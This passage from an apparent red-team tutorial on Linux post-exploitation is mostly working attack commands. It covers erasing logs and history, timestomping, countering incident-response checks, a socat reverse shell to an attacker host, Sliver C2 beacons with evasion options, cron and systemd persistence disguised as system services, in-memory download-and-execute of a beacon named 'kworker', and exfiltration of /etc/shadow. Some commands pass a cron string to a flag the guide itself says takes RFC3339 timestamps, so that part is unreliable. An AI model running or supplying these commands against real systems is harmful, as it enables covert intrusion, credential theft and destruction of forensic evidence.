OPSEC: Every dynamically linked binary that runs will load your library — this includes legitimate system tools like
ls,ps,cat. This can cause visible slowdowns and trigger EDR detection based on unusual library loads. Use it sparingly and test in a lab first.
Section 5 — Cleanup & Anti-Forensics
Assume IR will run. Your goal is to raise their time-cost, not achieve perfect forensic invisibility. Perfect is the enemy of good enough.
5.1 — History Wipe
# In-session (already done in Section 1, but confirm)
unset HISTFILE
history -c # clear in-memory history list
history -w # flush to HISTFILE (/dev/null if set correctly)
# Overwrite the history file on disk (belt-and-suspenders)
# Note: cat /dev/null is safer than rm — rm leaves a gap in filesystem that forensics can notice
cat /dev/null > ~/.bash_history
cat /dev/null > ~/.zsh_history
# If you can't control HISTFILE (set by system profile), overwrite and re-link
ln -sf /dev/null ~/.bash_history # symlink to /dev/null — future writes go nowhere
# Note: this leaves a symlink that replaces the regular file — detectable
# Nuclear option: overwrite entire home directory history files
for f in ~/.bash_history ~/.zsh_history ~/.fish_history ~/.python_history \
~/.mysql_history ~/.psql_history ~/.irb_history; do
[ -f "$f" ] && cat /dev/null > "$f"
done
5.2 — Log Line Removal
Removing specific log lines is more surgical than clearing entire log files (which is immediately obvious).
# Remove your IP from auth.log
YOUR_IP="10.10.10.5"
sed -i "/$YOUR_IP/d" /var/log/auth.log
sed -i "/$YOUR_IP/d" /var/log/secure 2>/dev/null
# Remove specific username from logs
sed -i "/youruser/d" /var/log/auth.log
# Remove last N lines from auth.log (covers recent activity window)
# Get line count first, then keep everything before your activity
tail -n +$(( $(wc -l < /var/log/auth.log) - 20 )) /var/log/auth.log # view last 20
# Remove last 20 lines:
head -n -20 /var/log/auth.log > /tmp/auth_clean && mv /tmp/auth_clean /var/log/auth.log
# wtmp / btmp / lastlog — binary format, not directly editable with sed
# utmpdump is the safe tool:
utmpdump /var/log/wtmp | grep -v "$YOUR_IP" | utmpdump -r > /tmp/wtmp_clean
mv /tmp/wtmp_clean /var/log/wtmp
# Clear btmp (failed login attempts — don't leave evidence you brute-forced)
cat /dev/null > /var/log/btmp
# Systemd journal — you can't easily edit individual journal entries
# If you need to clear it: (very noisy — only do this if IR hasn't arrived yet)
journalctl --vacuum-time=1d 2>/dev/null # keep only last 1 day
# Or wipe: rm -f /var/log/journal/*/*.journal (requires root, highly detectable)
5.3 — Timestomping (Match Modified Files to Originals)
Any file you touch gets an updated mtime/atime. If IR runs find / -newer /etc/passwd -mmin -60, your modifications light up. Timestomp them.
# After modifying a file, match its timestamps to a reference file
# Reference file: something nearby that was last modified before your activity
# Match timestamps of a modified cron script to a nearby cron file
touch -r /etc/cron.d/anacron /etc/cron.d/your_persistence_file
# Match to a specific date/time (if you know when the file was last legitimately touched)
touch -t 202301151430.00 /etc/cron.d/your_file # YYYYMMDDHHMI.SS format
# Match the SSH authorized_keys modification to the known_hosts file
touch -r ~/.ssh/known_hosts ~/.ssh/authorized_keys
# For systemd service files
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/your_service.service
touch -r /usr/lib/systemd/systemd-networkd /usr/lib/systemd/systemd-network-helper
# IMPORTANT: atime (access time) is also tracked on many systems
# -r copies mtime AND atime from the reference file — the right approach
# Don't use -m alone (that only sets mtime, leaves atime intact)
# Verify
stat /etc/cron.d/your_persistence_file # check Access, Modify, Change times
# Note: ctime (inode change time) CANNOT be set by touch — it always updates on modification
# Advanced forensics will detect ctime anomalies even with timestomping
5.4 — Tool Cleanup
# Remove all tools you dropped — work backwards from your workspace
rm -f /dev/shm/.cache/pspy64
rm -f /dev/shm/.cache/linpeas.sh
rm -f /dev/shm/.cache/exploit
rm -rf /dev/shm/.cache/
# Secure delete if shred is available (overwrites before deleting)
shred -u /dev/shm/sensitive_file
# Remove compiled files
rm -f /tmp/evil.so /tmp/evil.c /tmp/preload.c
# Check for any temp files you created
find /tmp /dev/shm /var/tmp -newer /etc/passwd -mmin -480 2>/dev/null | grep -v "^/proc"
5.5 — What IR Teams Look For — Know Their Checklist
| IR Action | What They Check | Your Counter |
|---|---|---|
last / lastlog |
Login records from wtmp/lastlog | Wipe with utmpdump, cat /dev/null > /var/log/lastlog |
find / -newer /etc/passwd |
Recently modified files | Timestomp all modified files |
systemctl list-units |
Unexpected services | Disguise service names, match descriptions |
crontab -l + /etc/cron* |
Cron jobs | Use infrequent schedules, hide in sysstat dirs |
cat ~/.bash_history |
Shell history | Wipe on entry AND exit |
cat /etc/pam.d/* |
PAM configuration changes | Revert PAM changes when possible |
cat /etc/ld.so.preload |
LD_PRELOAD persistence | Timestomp, or use only as a last resort |
ls -la ~/.ssh/ |
Authorized keys | Match timestamps to existing keys |
ps auxf |
Running processes | Use process name masquerading |
ss -tunap |
Network connections | Use short-lived beacons, not persistent shells |
strings /proc/*/environ |
In-memory credentials | N/A — this is you doing it to them |
auditctl -l + audit.log |
Audit trail | Can't erase audit.log without root; avoid audited syscalls |
md5sum / sha256sum on system files |
File integrity (AIDE/Tripwire) | You can't beat AIDE if it ran before you landed — focus on persistence in non-monitored paths |
Section 6 — Shell Upgrade: nc → Full TTY
A raw netcat shell has no TTY. No tab completion, no Ctrl-C (it kills the shell), no vim, no su. Fix this before you do anything else.
Why it matters: Without a TTY you can't run sudo, su, passwd, or interactive editors. Ctrl-C sends SIGINT to your local nc, killing the entire session. Tab completion and history don't work. You're flying blind.
6.1 — Python PTY (Most Common, Fastest)
Run on the victim side inside your nc shell:
# Step 1 (victim): Spawn a PTY via Python
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Fallback if python3 not found:
python -c 'import pty; pty.spawn("/bin/bash")'
# Or: script
/usr/bin/script -qc /bin/bash /dev/null
This gives you a functional terminal with su and sudo support, but Ctrl-C still kills the shell. For full control, proceed to the stty upgrade.
6.2 — Full TTY via stty (The Proper Fix)
After running the Python PTY above:
# Step 2 (victim): spawn PTY first (if not done already)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Step 3 (victim → attacker): background the shell — press Ctrl-Z
# You're now back on your attacker terminal
# Step 4 (attacker): put your terminal in raw mode and pass it to the fg'd shell
stty raw -echo; fg
# The 'fg' brings the nc shell back to foreground
# Your terminal may look blank — that's normal, type the next commands blindly
# Step 5 (victim): re-initialize the terminal inside the shell
reset
export TERM=xterm-256color
export SHELL=/bin/bash
# Step 6: Match the terminal size to your actual window
# On YOUR attacker terminal (new tab/pane): stty size → returns ROWS COLS
# e.g.: 48 220
stty rows 48 columns 220
Result: Full interactive TTY. Ctrl-C works. Tab completion works. vim/nano work. Arrow keys work. History works.
OPSEC:
stty raw -echochanges your attacker terminal state — if you lose the connection at this point, your terminal will be stuck in raw mode. Fix it by typingresetblindly or opening a new terminal tab.
6.3 — socat (Best Option if Available)
If socat is installed on the target, this gives you a full TTY from the start — no stty dance needed.
# Attacker listener (run this FIRST):
socat file:`tty`,raw,echo=0 tcp-listen:4444
# Victim (run in your existing dumb shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:ATTACKER_IP:4444
Full TTY with job control, signals, and history immediately. No extra steps.
6.4 — rlwrap (Attacker-Side, No Victim Changes Needed)
Gives you readline history and basic completion on the attacker side without touching the victim:
# Install: apt install rlwrap
# Use in place of nc:
rlwrap nc -nlvp 4444
Not a real TTY, but command history (up arrow) and basic line editing work. Good for quick dumb shells before you can upgrade properly.
6.5 — Shell Upgrade Quick Reference
| Situation | Command (Victim Side) | Result |
|---|---|---|
| Python3 available | python3 -c 'import pty; pty.spawn("/bin/bash")' |
Basic TTY (su/sudo work) |
| Python2 only | python -c 'import pty; pty.spawn("/bin/bash")' |
Basic TTY |
| No Python | /usr/bin/script -qc /bin/bash /dev/null |
Basic TTY |
| Perl available | perl -e 'exec "/bin/bash";' |
Basic shell (no TTY) |
| socat available | See 6.3 above | Full TTY immediately |
| After basic PTY | stty dance (6.2 above) | Full TTY via nc |
| Attacker side | rlwrap nc -nlvp PORT |
Readline history only |
Section 7 — C2 Frameworks: Why nc Is a Liability
nc shells are for initial access and quick tests. For any real engagement — pivoting, persistence, multi-host, or long-haul ops — you need a proper C2.
Why nc Breaks on Real Engagements
| Problem | nc Shell | C2 Framework |
|---|---|---|
| Session drops (network blip) | Dead — reconnect manually | Automatic reconnect |
| Multiple targets | One terminal per shell, chaos | Centralized operator console |
| Pivoting / port forwards | Manual SSH chains | Built-in SOCKS, tunnels |
| Payload evasion | None — bash spawns are trivially detected | Custom protocols, encrypted comms, sleep/jitter |
| Evidence in logs | Every bash -i shows in auth.log, ps | Configurable process masquerade, encrypted traffic |
| Kill date / time limits | None | Built-in scheduling, datetime limits |
| Team operations | Not possible | Multi-operator with task queuing |
C2 Framework Comparison
| Framework | Language | Best For | Linux Support | Key Stealth Feature |
|---|---|---|---|---|
| Sliver | Go | General red team, cloud/Linux focus | ✅ Excellent | mTLS, garble obfuscation, beacon scheduling |
| Havoc | C/C++ | Windows-heavy engagements | ✅ Good | Demon agent, malleable comms |
| Covenant | .NET | Windows AD operations | ⚠️ Limited | HTTP listener profiles |
| Merlin | Go | Low-footprint Linux ops | ✅ Good | HTTP/2, DNS C2, small agent |
| Mythic | Python backend | Custom agents, modular | ✅ Good | Pluggable agent/profile system |
For Linux-focused ops: Sliver is the recommendation. Go binaries compile to a single static ELF, no dependencies. Built-in mTLS + HTTPS. Active development. Operator-grade sleep/jitter and time-restriction controls.
Section 8 — Sliver C2: Stealthy Linux Payloads
Sliver is the operator's choice for Linux C2. This section covers installation, stealthy payload generation, business-hours beaconing, and in-memory delivery. All commands are from the Sliver server console unless noted.
8.1 — Installation (Attacker/C2 Server)
# Option 1: Pre-built binary (fastest)
curl -s https://api.github.com/repos/BishopFox/sliver/releases/latest \
| grep "browser_download_url.*linux" \
| grep -v arm \
| cut -d '"' -f 4 \
| wget -qi -
# Rename and make executable
chmod +x sliver-server_linux && mv sliver-server_linux /usr/local/bin/sliver-server
chmod +x sliver-client_linux && mv sliver-client_linux /usr/local/bin/sliver
# Option 2: Build from source (adds garble support, latest features)
git clone https://github.com/BishopFox/sliver.git && cd sliver
make # requires Go 1.20+, gcc, mingw-w64
# Output: sliver-server, sliver-client in ./
# Start server (interactive console)
sliver-server
# Or as a daemon:
sliver-server daemon &
# Default ports: 31337 (multiplayer gRPC), plus any listeners you start
8.2 — Beacon vs Session: Which to Use
| Beacon | Session | |
|---|---|---|
| Connection | Periodic check-ins (sleep-based) | Persistent, always-on |
| Stealth | ✅ High — looks like periodic web traffic | ⚠️ Low — persistent connection is anomalous |
| Interactivity | Commands queued, executed on next check-in | Immediate response |
| When to use | Default for all ops — stealth first | Interactive phases (priv-esc, lateral move) |
| Converting | interactive command promotes beacon → session |
N/A |
Default to beacons. Promote to session only when you need interactive access, then drop back to beacon.
8.3 — Stealthy Beacon Generation: All the Flags
# Full stealthy Linux beacon — run inside the Sliver console
generate beacon \
--mtls YOUR_C2_IP:8888 \ # mTLS — encrypted, mutual auth, ~looks like HTTPS
--os linux \ # target OS
--arch amd64 \ # or arm64 for cloud/IoT/Raspberry Pi
--format elf \ # elf=binary, shared=.so, shellcode=raw bytes
--name "systemd-helper" \ # label in Sliver console (not process name on target)
--evasion \ # anti-analysis: anti-debug, stack canaries
--skip-symbols \ # strip Go symbol table — blocks debugger+reverser
--seconds 3600 \ # sleep 3600s (1hr) between check-ins
--jitter 600 \ # add random 0–600s on top of sleep (not a %)
--reconnect 60 \ # retry delay if C2 unreachable
--limit-datetime "2025-12-31T23:59:59Z" \ # KILL DATE — RFC3339 UTC, implant exits after this
--limit-hostname webserver01 \ # only run if hostname matches exactly
--limit-username ubuntu \ # only run if username matches
--limit-fileexists /etc/ssh/sshd_config \ # only run if this file exists (confirms target)
--save /tmp/beacon.elf
# Verify the generated implant
implants # list all generated implants with config summary
Flag breakdown:
| Flag | Format / Value | What it does |
|---|---|---|
--evasion |
boolean | Anti-debug, anti-analysis, stack canaries compiled in |
--skip-symbols |
boolean | Strips Go symbol table (-ldflags "-s -w") → harder to reverse |
--seconds / --minutes / --hours / --days |
int | Sleep interval components (combined) |
--jitter N |
int (seconds) | Max random addition to sleep — flat 0 to N seconds, NOT a percentage |
--reconnect N |
int (seconds) | Retry delay if C2 unreachable |
--limit-datetime |
RFC3339 string | Kill date — implant exits after this UTC timestamp; use for op time-boxing |
--limit-hostname |
string | Exact hostname match check at startup |
--limit-username |
string | Exact username match check at startup |
--limit-fileexists |
path | File existence check — confirms you're on the right target |
--format |
elf / shared / shellcode |
ELF=binary, shared=.so (harder to detect), shellcode=raw |
--name |
string | Console label only — does NOT change process name on target |
Important:
--limit-datetimeis a kill date (expiry), not a schedule. It takes RFC3339 format:"2025-12-31T23:59:59Z"(UTC) or"2025-12-31T18:59:59-05:00"(EST). The implant will refuse to run and exit cleanly after this time. This is for op time-boxing, not for time-of-day activation. For scheduled activation, use the cron wrapper approach (Section 8.5).
8.4 — Scheduled Beacon at 0800 EST (Business Hours)
Key fact: Sliver's --limit-datetime is a kill date (RFC3339 expiry), not a cron schedule. It tells the implant "stop running after this time." It does not restrict to specific hours of the day.
For time-of-day control, use the cron wrapper approach (Section 8.5). Here, --limit-datetime is used for op time-boxing — ensuring the implant self-destructs at end of engagement.
# Correct --limit-datetime syntax: RFC3339 format, UTC recommended
# Format: YYYY-MM-DDTHH:MM:SSZ (UTC)
# or YYYY-MM-DDTHH:MM:SS-05:00 (EST offset)
# Example: beacon active until end of engagement (Dec 31)
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--limit-datetime "2025-12-31T23:59:59Z" \ # kill date in UTC
--save /tmp/beacon_killdate.elf
# Example: short engagement window — implant dies at 1800 EST on Friday
# 1800 EST = 2300 UTC
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 300 \
--limit-datetime "2025-12-05T23:00:00Z" \ # 1800 EST = 2300 UTC
--save /tmp/beacon_shortop.elf
# Check target's timezone before choosing your UTC offset:
# EST = UTC-5 → 0800 EST = 1300 UTC
# EDT = UTC-4 → 0800 EDT = 1200 UTC (summer)
# UTC = UTC+0 → 0800 UTC = 0800 UTC (most servers)
Time-of-day control — what actually works:
| Technique | Mechanism | Restriction Type |
|---|---|---|
--limit-datetime "2025-12-31..." |
Kill date — stop after this UTC time | Expiry only |
--seconds 86400 --jitter 3600 |
Sleep 24h with 1h variance | Reduces frequency, not a schedule |
| Cron wrapper (8.5) | OS scheduler launches beacon at 0800, kills it at 1800 | True time-of-day control |
| systemd timer (8.5) | Same as cron but via systemd | True time-of-day control |
Bottom line: Use
--limit-datetimefor kill dates. Use OS cron/systemd timers to control when the beacon runs. Combine both for a beacon that only runs 0800–1800 M-F AND self-destructs at end of engagement.
8.5 — Cron Wrapper: Launch Beacon at 0800 EST (True Scheduling)
This is the correct approach for time-of-day control. The beacon binary exists but only runs during business hours — reducing its EDR exposure window.
# Step 1: Generate the beacon with a kill date but no artificial sleep limit
# The cron schedule IS the time-of-day control
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 300 \
--limit-datetime "2025-12-31T23:59:59Z" \ # engagement kill date
--save /tmp/beacon.elf
# Step 2: Transfer beacon to target, rename innocuously
cp /tmp/beacon.elf /usr/lib/systemd/.network-helper
chmod +x /usr/lib/systemd/.network-helper
# Step 3: Check target's timezone — critical for correct UTC offset
timedatectl 2>/dev/null | grep "Time zone"
date +%Z && date -u # local vs UTC — confirm the offset
# Timezone offset math:
# EST = UTC-5 → 0800 EST = 1300 UTC → cron hour = 13
# EDT = UTC-4 → 0800 EDT = 1200 UTC → cron hour = 12 (summer/daylight saving)
# PST = UTC-8 → 0800 PST = 1600 UTC → cron hour = 16
# If target runs UTC: 0800 UTC = 0800 UTC → cron hour = 8
# Step 4: Create a cron job (requires root for /etc/cron.d/)
# Disguise the filename — blend with existing cron files
cat > /etc/cron.d/systemd-check << 'EOF'
# System integrity monitor
SHELL=/bin/bash
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Launch beacon at 0800 EST (1300 UTC) weekdays — only if not already running
0 13 * * 1-5 root pgrep -xf ".network-helper" > /dev/null 2>&1 || /usr/lib/systemd/.network-helper &
# Kill beacon at 1800 EST (2300 UTC) weekdays — clean exit before EOD
0 23 * * 1-5 root pkill -xf ".network-helper" > /dev/null 2>&1; true
EOF
# Step 5: Timestomp to blend with existing cron files
touch -r /etc/cron.d/anacron /etc/cron.d/systemd-check
touch -r /etc/cron.d/anacron /usr/lib/systemd/.network-helper
# Alternative: systemd timer (more legitimate-looking, harder to spot in casual review)
cat > /etc/systemd/system/netcheck.timer << 'EOF'
[Unit]
Description=Network Integrity Check Timer
[Timer]
OnCalendar=Mon-Fri 08:00:00 America/New_York
Persistent=false
[Install]
WantedBy=timers.target
EOF
cat > /etc/systemd/system/netcheck.service << 'EOF'
[Unit]
Description=Network Integrity Check
[Service]
Type=forking
ExecStart=/usr/lib/systemd/.network-helper
ExecStop=/usr/bin/pkill -xf .network-helper
StandardOutput=null
StandardError=null
EOF
systemctl daemon-reload
systemctl enable netcheck.timer
# Timestomp
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.timer
touch -r /etc/systemd/system/ssh.service /etc/systemd/system/netcheck.service
Why cron over
--limit-datetimefor scheduling:--limit-datetimeis a kill date — the process can still start at any time before that date. Cron controls when the process starts. Combined: cron handles the 0800 launch window,--limit-datetimehandles the engagement expiry, and killing at 1800 keeps it off the wire overnight.
8.6 — Stealthy Delivery: In-Memory Execution via memfd_create
Never write the beacon ELF to disk on the target. Use memfd_create to execute it purely from memory — no file, no inode, no disk forensics.
# Prerequisite: Sliver C2 is running, listener is up, beacon.elf is on your C2 web server
# On the C2 server, serve the payload:
python3 -m http.server 8080 --directory /tmp/payloads &
# On the TARGET — run this one-liner to download and execute the beacon in-memory:
python3 -c "
import os, urllib.request
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
payload = urllib.request.urlopen('http://YOUR_C2_IP:8080/beacon.elf').read()
os.write(fd, payload)
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# The process appears in 'ps' as 'kworker' — matches kernel thread naming convention
# No ELF file on disk. Forensics finds nothing in /tmp, /dev/shm, or anywhere else.
Alternative: Base64 embedded delivery (no outbound HTTP from target)
# On attacker: encode the beacon
base64 -w0 beacon.elf > beacon.b64
# In your shell on the target — paste the base64 string directly:
python3 -c "
import os, base64
b64 = 'AAAA...YOUR_BASE64_HERE...' # paste beacon.b64 contents here
fd = os.memfd_create('kworker', os.MFD_CLOEXEC)
os.write(fd, base64.b64decode(b64))
os.fexecve(fd, ['/proc/self/fd/%d' % fd], dict(os.environ))
"
# No network fetch from target, no disk write. Pure in-memory exec.
OPSEC:
memfd_createcreates an anonymous file descriptor not visible in the filesystem. The process does appear in/proc/PID/exeas/proc/self/fd/N (deleted)— a known IOC that some EDRs flag. For higher stealth, consider compiling a minimal C dropper that usesmemfd_createdirectly and masquerades via/proc/self/mapstricks. Thekworkerprocess name chosen above mimics kernel worker threads — inspect real kernel threads withps aux | grep "\[kworker"to pick a realistic name.
8.7 — Binary Hardening: Strip + UPX (Post-Generation)
After generating the ELF beacon, optionally harden it further on your attacker machine before delivery:
# Strip all remaining symbols (belt-and-suspenders on top of --skip-symbols)
strip --strip-all beacon.elf
# Verify size reduction:
ls -lh beacon.elf
# UPX compression — reduces file size, breaks simple static signature matching
# CAUTION: Some EDRs specifically flag UPX-packed binaries — test in your lab first
upx --best --lzma beacon.elf # max compression
upx -d beacon.elf # decompress if needed
# Verify the binary still works after UPX (test in lab VM first)
file beacon.elf # should still show ELF executable
./beacon.elf # test run in lab
# Check what strings remain (what an analyst would see)
strings beacon.elf | grep -iE "sliver|bishopfox|beacon|c2|mtls" | head
# If any Sliver-specific strings appear → consider --garble at generation time
# Garble requires building Sliver from source with garble installed:
# go install mvdan.cc/garble@latest
# then generate with --garble flag
8.8 — HTTPS Listener Setup (Blend with Web Traffic)
# Inside Sliver console: start an HTTPS listener (port 443 — looks like HTTPS to network TAPs)
https --lhost YOUR_C2_IP --lport 443
# Verify listener is running
jobs
# ID Name Protocol Port
# ==== ======= ========== ======
# 1 https tcp 443
# Generate beacon using HTTPS instead of mTLS
# HTTPS blends better in environments where mTLS to non-standard ports triggers alerts
generate beacon \
--https YOUR_C2_IP:443 \
--os linux --arch amd64 --format elf \
--evasion --skip-symbols \
--seconds 3600 --jitter 600 \
--limit-datetime "0 8-17 * * 1-5" \
--save /tmp/beacon_https.elf
# For DNS C2 (extremely stealthy, traverses most firewalls):
# Requires a domain you control with NS records pointing to your server
dns --domains yourc2domain.com
generate beacon \
--dns yourc2domain.com \
--os linux --arch amd64 --format elf \
--seconds 7200 --jitter 1800 \
--save /tmp/beacon_dns.elf
# DNS beacon is very slow (DNS response times) but nearly unblockable
8.9 — Sliver Quick-Reference Cheat Sheet
# ── Server management ──────────────────────────────────────────────────
sliver-server # start console
jobs # list active listeners
mtls --lport 8888 # start mTLS listener
https --lport 443 # start HTTPS listener
# ── Implant management ─────────────────────────────────────────────────
implants # list all generated implants
beacons # list active beacons
sessions # list active sessions
use <ID> # interact with beacon or session
# ── Beacon interaction ─────────────────────────────────────────────────
info # beacon details (interval, jitter, OS, PID)
tasks # list queued/completed tasks
interactive # promote beacon → live session
background # return to main console (beacon stays active)
beacons rm <ID> # remove beacon entry
# ── In-session commands (Linux) ────────────────────────────────────────
ls / pwd / cd # filesystem navigation
download /etc/shadow # exfil file to C2 server
upload /tmp/tool /tmp/ # push file to target
execute -o id # run command, capture output
shell # drop to interactive shell (noisy)
socks5 start # start SOCKS5 proxy via this implant
portfwd add -r TARGET_IP:22 -b 127.0.0.1:2222 # port forward
getenv / setenv # environment variable access
screenshot # capture desktop (GUI targets)
procdump --pid <PID> # memory dump of process
# ── Profiles (save generation configs) ────────────────────────────────
profiles new beacon \
--https C2_IP:443 --os linux \
--seconds 3600 --jitter 600 \
--limit-datetime "0 8-17 * * 1-5" \
linux-biz-hours
profiles generate --save /tmp/ linux-biz-hours # generate from saved profile
profiles # list all profiles
Resources
| Resource | Type | Relevance |
|---|---|---|
| GTFOBins | Reference | Sudo / SUID exploitation one-liners |
| PayloadsAllTheThings — Linux PrivEsc | Reference | Comprehensive priv-esc techniques |
| HackTricks — Linux PrivEsc | Reference | Deep technique breakdowns |
| linux-exploit-suggester | Tool | Kernel CVE matching |
| pspy | Tool | No-root cron/process watcher |
| swap_digger | Tool | Swap memory credential extraction |
| InternalAllTheThings — Linux PrivEsc | Reference | Technique reference with MITRE mapping |
| RoseSecurity Red-Teaming-TTPs | Reference | Red team TTP list with commands |
| RedTeaming_CheatSheet (0xJs) | Reference | Comprehensive pentesting guide |
| d4t4s3c/OffensiveReverseShellCheatSheet | Reference | Reverse shell one-liners (bash/nc/python/socat) |
| RoqueNight/Reverse-Shell-TTY-Cheat-Sheet | Reference | TTY stabilization: Python/perl/ruby methods |
| pentestmonkey reverse shells | Reference | Classic one-liners |
| BishopFox/sliver | Tool / C2 | Adversary emulation framework — Linux focus |
| Sliver Docs | Reference | Official Sliver documentation |
| Learning Sliver C2 — Beacons & Sessions | Tutorial | Beacon vs session deep dive |
| Sliver C2 Usage for Red Teams | Tutorial | Operator guide with practical examples |
| Sliver + memfd_create | Tutorial | Fileless Linux delivery via memfd_create |
Part of the Red Teaming 101 series. Companion to 1. Linux.